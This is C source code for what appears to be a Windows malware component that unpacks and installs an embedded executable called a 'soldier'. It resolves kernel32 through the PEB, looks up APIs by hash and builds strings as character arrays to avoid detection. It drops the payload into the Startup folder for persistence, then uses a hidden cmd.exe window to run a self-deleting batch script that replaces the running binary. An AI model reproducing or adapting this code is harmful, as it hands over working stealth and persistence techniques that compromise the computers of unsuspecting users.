#include <Windows.h>
#include <winternl.h>
#include <ShlObj.h>

#include "winapi.h"
#include "Updater.h"

#pragma section(".loader", read,execute)
#pragma code_seg(".loader")

#define FAST_KERNEL32_HANDLE
#define FAST_POINTERS
#define MAX_FILE_NAME 32766


int Updater()
{
	VTABLE lpTable;
	if (!GetVTable(&lpTable))
		return FALSE;

	// if I am in startup and the name is the same, then replace batch
	// else just copy to startup (and check if succeded)

	LPSTR strTempFile = GetTempFile(&lpTable);
	if (strTempFile == NULL)
		return FALSE;

	DWORD dwFileSize;
	LPSTR strSoldierName;
	LPBYTE lpBuffer = FindSoldier(&dwFileSize, &strSoldierName);

	DWORD dwOut;
	HANDLE hFile = lpTable.CreateFileA(strTempFile, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE || lpBuffer == NULL)
	{
		lpTable.VirtualFree(strTempFile, 0, MEM_RELEASE);
		return FALSE;
	}
	lpTable.WriteFile(hFile, lpBuffer, dwFileSize, &dwOut, NULL);
	lpTable.CloseHandle(hFile);

	CHAR strSep[] = { '\\', 0x0 };
	CHAR strExt[] = { '.' , 'e', 'x', 'e', 0x0 };

	LPSTR strStartupPath = GetStartupPath(&lpTable);
	__STRCAT__(strStartupPath, strSep);
	__STRCAT__(strStartupPath, strSoldierName);
	__STRCAT__(strStartupPath, strExt);

	LPSTR strBatchName;
	if (!CreateReplaceBatch(&lpTable, strTempFile, strStartupPath, &strBatchName))
	{
		lpTable.DeleteFileA(strTempFile);
		lpTable.VirtualFree(strTempFile, 0, MEM_RELEASE);
		return FALSE;
	}

	if (!StartBatch(&lpTable, strBatchName))
	{
		lpTable.DeleteFileA(strTempFile);
		lpTable.DeleteFileA(strBatchName);
	}
	else
		lpTable.ExitProcess(0);

	lpTable.VirtualFree(strTempFile, 0, MEM_RELEASE);

	return TRUE;
}

LPBYTE FindSoldier(LPDWORD dwFileSize, LPSTR *strSoldierName)
{
	LPBYTE lpSoldierBuffer = END_UPDATER();

	while (1)
	{
		if (lpSoldierBuffer[0] == 0xca && lpSoldierBuffer[1] == 0xfe && lpSoldierBuffer[2] == 0xba && lpSoldierBuffer[3] == 0xbe) // 0xcafebabe marker per soldiername
			break;
		
		lpSoldierBuffer++;
	}
	lpSoldierBuffer+=4;
	*strSoldierName = (LPSTR)(lpSoldierBuffer);

	while (*((LPDWORD)lpSoldierBuffer) != 0xfefefefe)
		lpSoldierBuffer++;

	lpSoldierBuffer+=4;
	*dwFileSize = *((LPDWORD)lpSoldierBuffer); // FIXME, check MZ

	return lpSoldierBuffer+5;
}

LPSTR GetMySelfName(__in PVTABLE lpTable)
{
	LPSTR strName = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
	LPSTR strShort = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
	
	lpTable->GetModuleFileNameA(NULL, strName, 32766*2);
	if (!lpTable->GetShortPathNameA(strName, strShort, 32767*2))
	{
		lpTable->VirtualFree(strShort, 0, MEM_RELEASE);
		return strName;
	}

	lpTable->VirtualFree(strName, 0, MEM_RELEASE);
	return strShort;
}


BOOL AmIFromStartup(__in PVTABLE lpTable)
{
	BOOL bRet;
	LPSTR strStartupPath = GetStartupPath(lpTable);
	LPSTR strCurrentPath = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);

	lpTable->GetModuleFileNameA(NULL, strCurrentPath, MAX_FILE_NAME);

	if (lpTable->StrRChrA(strCurrentPath, NULL, L'\\'))
		*(lpTable->StrRChrA(strCurrentPath, NULL, L'\\')) = 0;

	if (__STRCMPI__(strCurrentPath, strStartupPath))
		bRet = FALSE;
	else
		bRet = TRUE;
	
	lpTable->VirtualFree(strStartupPath, 0, MEM_RELEASE);
	lpTable->VirtualFree(strCurrentPath, 0, MEM_RELEASE);
	
	return bRet;
}

LPSTR GetTempDir(__in PVTABLE lpTable)
{
	LPSTR strTemp = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
	LPSTR strShort = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
	
	lpTable->GetTempPathA(MAX_FILE_NAME, strTemp);
	if (lpTable->GetShortPathNameA(strTemp, strShort, MAX_FILE_NAME) == 0)
	{
		lpTable->VirtualFree(strShort, 0, MEM_RELEASE);
		return strTemp;
	}
	
	lpTable->VirtualFree(strTemp, 0, MEM_RELEASE);
	return strShort;
}

LPSTR GetTempFile(__in PVTABLE lpTable)
{
	CHAR strPrefix[] = { L'p', 's', L'\0' };
	LPSTR strTempPath = GetTempDir(lpTable);

	LPSTR strTempFileName = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);	
	if (lpTable->GetTempFileNameA(strTempPath, strPrefix, 0, strTempFileName) == 0)
	{
		lpTable->VirtualFree(strTempFileName, 0, MEM_RELEASE);
		return NULL;
	}
	
	return strTempFileName;
}

LPSTR GetStartupPath(__in PVTABLE lpTable)
{
	LPSTR strStartupPath = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);	
	LPSTR strShortPath = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);	
	
	lpTable->SHGetSpecialFolderPathA(NULL, strStartupPath, CSIDL_STARTUP, FALSE);
	
	if (lpTable->GetShortPathNameA(strStartupPath, strShortPath, 4096) == 0)
	{
		lpTable->VirtualFree(strShortPath, 0, MEM_RELEASE);
		return strStartupPath;
	}

	lpTable->VirtualFree(strStartupPath, 0, MEM_RELEASE);
	return strShortPath;
}

BOOL CreateReplaceBatch(__in PVTABLE lpTable, __in LPSTR strOldFile, __in LPSTR strNewFile, __out LPSTR *strBatchOutName)
{
	BOOL bRet = TRUE;
	DWORD dwOut;

	LPSTR currentSoldierFileName = GetMySelfName(lpTable);

	CHAR strDotBat[] = { '.', 'b', 'a', 't', 0x0 };
	LPSTR strBatchName = GetTempFile(lpTable);
	__STRCAT__(strBatchName, strDotBat);

	LPSTR strBatchBuffer = (LPSTR) lpTable->VirtualAlloc(NULL, (MAX_FILE_NAME+2)*8, MEM_COMMIT, PAGE_READWRITE);

	CHAR strFormat1[] = { '@', 'e', 'c', 'h', 'o', ' ', 'o', 'f', 'f', '\r', '\n', ':', 'd', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat1);
	
	__STRCAT__(strBatchBuffer, currentSoldierFileName);
	//__STRCAT__(strBatchBuffer, strNewFile); 

	CHAR strFormat2[] = { '"', '\r', '\n', 'i', 'f', ' ', 'e', 'x', 'i', 's', 't', ' ', '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat2); 

	__STRCAT__(strBatchBuffer, currentSoldierFileName);
	//__STRCAT__(strBatchBuffer, strNewFile); 

	CHAR strFormat3[] = { '"', ' ', 'g', 'o', 't', 'o', ' ', 'd', '\r', '\n', 't', 'y', 'p', 'e', ' ', '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat3); 
	__STRCAT__(strBatchBuffer, strOldFile);

	CHAR strFormat4[] = { '"', ' ', '>', ' ', '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat4); 
	__STRCAT__(strBatchBuffer, strNewFile);

	CHAR strFormat5[] = { '"', '\r', '\n', 's', 't', 'a', 'r', 't', ' ', '/', 'B', ' ', 'c', 'm', 'd', ' ', '/', 'c', ' ', '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat5); 
	__STRCAT__(strBatchBuffer, strNewFile);

	CHAR strFormat6[] = { '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat6); 
	__STRCAT__(strBatchBuffer, strOldFile);

	CHAR strFormat7[] = { '"', '\r', '\n', 'd', 'e', 'l', ' ', '/', 'F', ' ', '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat7); 
	__STRCAT__(strBatchBuffer, strBatchName);

	CHAR strFormat8[] = { '"', 0x0 };
	__STRCAT__(strBatchBuffer, strFormat8); 

	HANDLE hFile = lpTable->CreateFileA(strBatchName, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		bRet = FALSE;
		lpTable->VirtualFree(strBatchName, 0, MEM_RELEASE);
	}
	else
	{
		lpTable->WriteFile(hFile, strBatchBuffer, __STRLEN__(strBatchBuffer), &dwOut, NULL);
		lpTable->CloseHandle(hFile);
		*strBatchOutName = strBatchName;
	}

	lpTable->VirtualFree(strBatchBuffer, 0, MEM_RELEASE);

	//lpTable->VirtualFree(currentSoldierFileName, 0, MEM_RELEASE);
	return bRet;
}


BOOL StartBatch(__in PVTABLE lpTable, __in LPSTR strName)
{
	BOOL bRet;
		
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	LPSTR pApplicationName = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);
	LPSTR pInterpreter = (LPSTR) lpTable->VirtualAlloc(NULL, MAX_FILE_NAME+2, MEM_COMMIT, PAGE_READWRITE);

	CHAR strOpts[] = { '/', 'c', L' ', '"', '%', 's', '"', 0x0 };
	CHAR pTempInterpreter[] = { '%', 'S', 'Y', 'S', 'T', 'E', 'M', 'R', 'O', 'O', 'T', '%', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'c', 'm', 'd', '.', 'e', 'x', 'e', 0x0 };
	

	lpTable->ExpandEnvironmentStringsA(pTempInterpreter, pInterpreter, MAX_FILE_NAME);
	lpTable->wnsprintfA(pApplicationName, MAX_FILE_NAME, strOpts, strName);

	for (DWORD i=0; i<sizeof(STARTUPINFO); i++)
		((LPBYTE)(&si))[i] = 0;

	for (DWORD i=0; i<sizeof(PROCESS_INFORMATION); i++)
		((LPBYTE)(&pi))[i] = 0;

	
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	
	bRet = lpTable->CreateProcessA(pInterpreter, pApplicationName, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

	lpTable->VirtualFree(pApplicationName, 0, MEM_RELEASE);
	lpTable->VirtualFree(pInterpreter, 0, MEM_RELEASE);
	
	return bRet;
}

DWORD GetStringHash(
	__in LPVOID lpBuffer, 
	__in BOOL bUnicode, 
	__in UINT uLen)
{
	DWORD dwHash = 0;
	LPSTR strBuffer = (LPSTR) lpBuffer;

	while (uLen--)
    {
		dwHash = (dwHash >> 13) | (dwHash << 19);
		dwHash +=  (DWORD)*strBuffer++;

		if (bUnicode)
				strBuffer++;			
    }
    return dwHash;
}


HANDLE GetKernel32Handle()
{
	HANDLE hKernel32 = INVALID_HANDLE_VALUE;
#ifdef _WIN64
	PPEB lpPeb = (PPEB) __readgsqword(0x60);
#else
	PPEB lpPeb = (PPEB) __readfsdword(0x30);
#endif
	PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
	PLIST_ENTRY pListEntry = pListHead->Flink;	

#ifdef SUX_KERNEL32_HANDLE
	hKernel32 = 
		(CONTAINING_RECORD(pListEntry->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks))->DllBase;
#elif defined FAST_KERNEL32_HANDLE
	while (pListEntry != pListHead)
	{
		PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
		if (pModEntry->FullDllName.Length)
		{
			DWORD dwLen	= pModEntry->FullDllName.Length;
			PWCHAR strName = (pModEntry->FullDllName.Buffer + (dwLen/sizeof(WCHAR))) - 13;

			if (GetStringHash(strName, TRUE, 13) == 0x8fecdbff || GetStringHash(strName, TRUE, 13) == 0x6e2bcfd7 || GetStringHash(strName, TRUE, 13) == 0x6f2bd7f7)
			{
				hKernel32 = pModEntry->DllBase;
				break;
			}
		}
		pListEntry = pListEntry->Flink;
	}
#else
	WCHAR strDllName[MAX_PATH];
	WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' };

	while (pListEntry != pListHead)
	{
		PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
		if (pModEntry->FullDllName.Length)
		{
			DWORD dwLen	= pModEntry->FullDllName.Length;

			__MEMCPY__(strDllName, pModEntry->FullDllName.Buffer, dwLen);
			strDllName[dwLen/sizeof(WCHAR)] = L'\0';

			if (__STRSTRIW__(strDllName, strKernel32))
			{
				hKernel32 = pModEntry->DllBase;
				break;
			}
		}
		pListEntry = pListEntry->Flink;
	}

#endif

	return hKernel32;
}

BOOL GetPointers(
	__out PGETPROCADDRESS fpGetProcAddress, 
	__out PLOADLIBRARYA fpLoadLibraryA)
{
	HANDLE hKernel32 = GetKernel32Handle();
	if (hKernel32 == INVALID_HANDLE_VALUE)
		return FALSE;

	LPBYTE lpBaseAddr = (LPBYTE) hKernel32;
	PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER) lpBaseAddr;
	PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS) (lpBaseAddr + lpDosHdr->e_lfanew);
	PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) (lpBaseAddr +  pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	LPDWORD pNameArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfNames);
	LPDWORD pAddrArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfFunctions);
	LPWORD pOrdArray  = (LPWORD) (lpBaseAddr+ pExportDir->AddressOfNameOrdinals);

	*fpGetProcAddress = NULL;
	*fpLoadLibraryA = NULL;

#ifdef FAST_POINTERS
	for (UINT i=0; i<pExportDir->NumberOfNames; i++)
	{
		LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);
	
		if (GetStringHash(pFuncName, FALSE, 14) == 0x7c0dfcaa) 
			*fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
		else if (GetStringHash(pFuncName, FALSE, 12) == 0xec0e4e8e)
			*fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
	
		if (*fpGetProcAddress && *fpLoadLibraryA)
			return TRUE;
	}
#else
	CHAR strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 };
	CHAR strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 };

	for (UINT i=0; i<pExportDir->NumberOfNames; i++)
	{
		LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);

		if (!__STRCMPI__(pFuncName, strGetProcAddress))
			*fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
		else if (!__STRCMPI__(pFuncName, strLoadLibraryA))
			*fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);

		if (*fpGetProcAddress && *fpLoadLibraryA)
			return TRUE;
	}
#endif

	return FALSE;
}


BOOL GetVTable(__out PVTABLE lpTable)
{
	if (!GetPointers(&lpTable->GetProcAddress, &lpTable->LoadLibraryA))
		return FALSE; // FIXME

	CHAR strKernel32[] = { 'k',  'e',  'r',  'n',  'e',  'l',  '3', '2', 0x0 };
	CHAR strShell32[] = { 's',  'h',  'e',  'l',  'l',  '3',  '2', 0x0 };
	CHAR strShlWapi[] = { 'S',  'h',  'l',  'w',  'a',  'p',  'i', 0x0 };

	CHAR strVirtualAlloc[] = { 'V',  'i',  'r',  't',  'u',  'a',  'l',  'A',  'l',  'l',  'o',  'c', 0x0 };
	CHAR strGetModuleFileNameA[] = { 'G',  'e',  't',  'M',  'o',  'd',  'u',  'l',  'e',  'F',  'i',  'l',  'e',  'N',  'a',  'm',  'e',  'A', 0x0 };
	CHAR strGetTempPathA[] = { 'G',  'e',  't',  'T',  'e',  'm',  'p',  'P',  'a',  't',  'h',  'A', 0x0 };
	CHAR strGetTempFileNameA[] = { 'G',  'e',  't',  'T',  'e',  'm',  'p',  'F',  'i',  'l',  'e',  'N',  'a',  'm',  'e',  'A', 0x0 };
	CHAR strVirtualFree[] = { 'V',  'i',  'r',  't',  'u',  'a',  'l',  'F',  'r',  'e',  'e', 0x0 };
	CHAR strGetShortPathNameA[] = { 'G',  'e',  't',  'S',  'h',  'o',  'r',  't',  'P',  'a',  't',  'h',  'N',  'a',  'm',  'e',  'A', 0x0 };
	CHAR strSHGetSpecialFolderPathA[] = { 'S',  'H',  'G',  'e',  't',  'S',  'p',  'e',  'c',  'i',  'a',  'l',  'F',  'o',  'l',  'd',  'e',  'r',  'P',  'a',  't',  'h',  'A', 0x0 };
	CHAR strStrRChrA[] = { 'S',  't',  'r',  'R',  'C',  'h',  'r',  'A', 0x0 };
	CHAR strCloseHandle[] = { 'C',  'l',  'o',  's',  'e',  'H',  'a',  'n',  'd',  'l',  'e', 0x0 };
	CHAR strCreateFileA[] = { 'C',  'r',  'e',  'a',  't',  'e',  'F',  'i',  'l',  'e',  'A', 0x0 };
	CHAR strDeleteFileA[] = { 'D',  'e',  'l',  'e',  't',  'e',  'F',  'i',  'l',  'e',  'A', 0x0 };
	CHAR strCreateProcessA[] = { 'C',  'r',  'e',  'a',  't',  'e',  'P',  'r',  'o',  'c',  'e',  's',  's',  'A', 0x0 };
	CHAR strSleep[] = { 's', 'l', 'e', 'e', 'p', 0x0 };
	CHAR strExpandEnvironmentStringsA[] = { 'E',  'x',  'p',  'a',  'n',  'd',  'E',  'n',  'v',  'i',  'r',  'o',  'n',  'm',  'e',  'n',  't',  'S',  't',  'r',  'i',  'n',  'g',  's',  'A', 0x0 };
	CHAR strWriteFile[] = { 'W',  'r',  'i',  't',  'e',  'F',  'i',  'l',  'e', 0x0 };
	CHAR strWnsprintfA[] = { 'w',  'n',  's',  'p',  'r',  'i',  'n',  't',  'f',  'A', 0x0 };
	CHAR strExitProcess[] = { 'E',  'x',  'i',  't',  'P',  'r',  'o',  'c',  'e',  's',  's', 0x0 };

	// KERNEL32
	lpTable->VirtualAlloc = (VIRTUALALLOC) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strVirtualAlloc);
	lpTable->VirtualFree = (VIRTUALFREE) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strVirtualFree);
	lpTable->CreateFileA  = (CREATEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strCreateFileA);
	lpTable->WriteFile  = (WRITEFILE) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strWriteFile);
	lpTable->CloseHandle  = (CLOSEHANDLE) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strCloseHandle);
	lpTable->GetModuleFileNameA = (GETMODULEFILENAMEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetModuleFileNameA);
	lpTable->GetShortPathNameA = (GETSHORTPATHNAMEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetShortPathNameA);
	lpTable->GetTempPathA= (GETTEMPPATHA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetTempPathA);
	lpTable->GetTempFileNameA = (GETTEMPFILENAMEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strGetTempFileNameA);
	lpTable->DeleteFileA = (DELETEFILEA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strDeleteFileA);
	lpTable->CreateProcessA = (CREATEPROCESSA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strCreateProcessA);
	lpTable->Sleep = (SLEEP) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strSleep);
	lpTable->ExpandEnvironmentStringsA = (EXPANDENVIRONMENTSTRINGA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strExpandEnvironmentStringsA);
	lpTable->ExitProcess = (EXITPROCESS) lpTable->GetProcAddress(lpTable->LoadLibraryA(strKernel32), strExitProcess);

	// SHELL32
	lpTable->SHGetSpecialFolderPathA = (SHGETSPECIALFOLDERPATHA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strShell32), strSHGetSpecialFolderPathA);

	// Shlwapi
	lpTable->StrRChrA = (STRRCHRA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strShlWapi), strStrRChrA);
	lpTable->wnsprintfA = (WNSPRINTFA) lpTable->GetProcAddress(lpTable->LoadLibraryA(strShlWapi), strWnsprintfA);

	return TRUE;
}


UINT __STRLEN__(__in LPSTR lpStr1)
{
	UINT i = 0;
	while(lpStr1[i] != 0x0)
		i++;

	return i;
}

LPSTR __STRCAT__(
	__in LPSTR	strDest, 
	__in LPSTR strSource)
{
	LPSTR d = strDest;
	LPSTR s = strSource;

	while(*d) d++;
	
	do { *d++ = *s++; } while(*s);
	*d = 0x0;

	return strDest;
}

BOOL __ISUPPER__(__in CHAR c) { return ('A' <= c) && (c <= 'Z'); };
CHAR __TOLOWER__(__in CHAR c) { return __ISUPPER__(c) ? c - 'A' + 'a' : c ; };

INT __STRCMPI__(
	__in LPSTR lpStr1, 
	__in LPSTR lpStr2)
{
	int  v;
	CHAR c1, c2;
	do
	{
		c1 = *lpStr1++;
		c2 = *lpStr2++;
		// The casts are necessary when pStr1 is shorter & char is signed 
		v = (UINT) __TOLOWER__(c1) - (UINT) __TOLOWER__(c2);
	}
	while ((v == 0) && (c1 != '\0') && (c2 != '\0') );
	return v;
}

LPBYTE END_UPDATER()
{
	LPBYTE lpBuff;

	__asm
	{
		call get_pc
get_pc:
		pop eax
		mov lpBuff, eax
	}

	return lpBuff;
}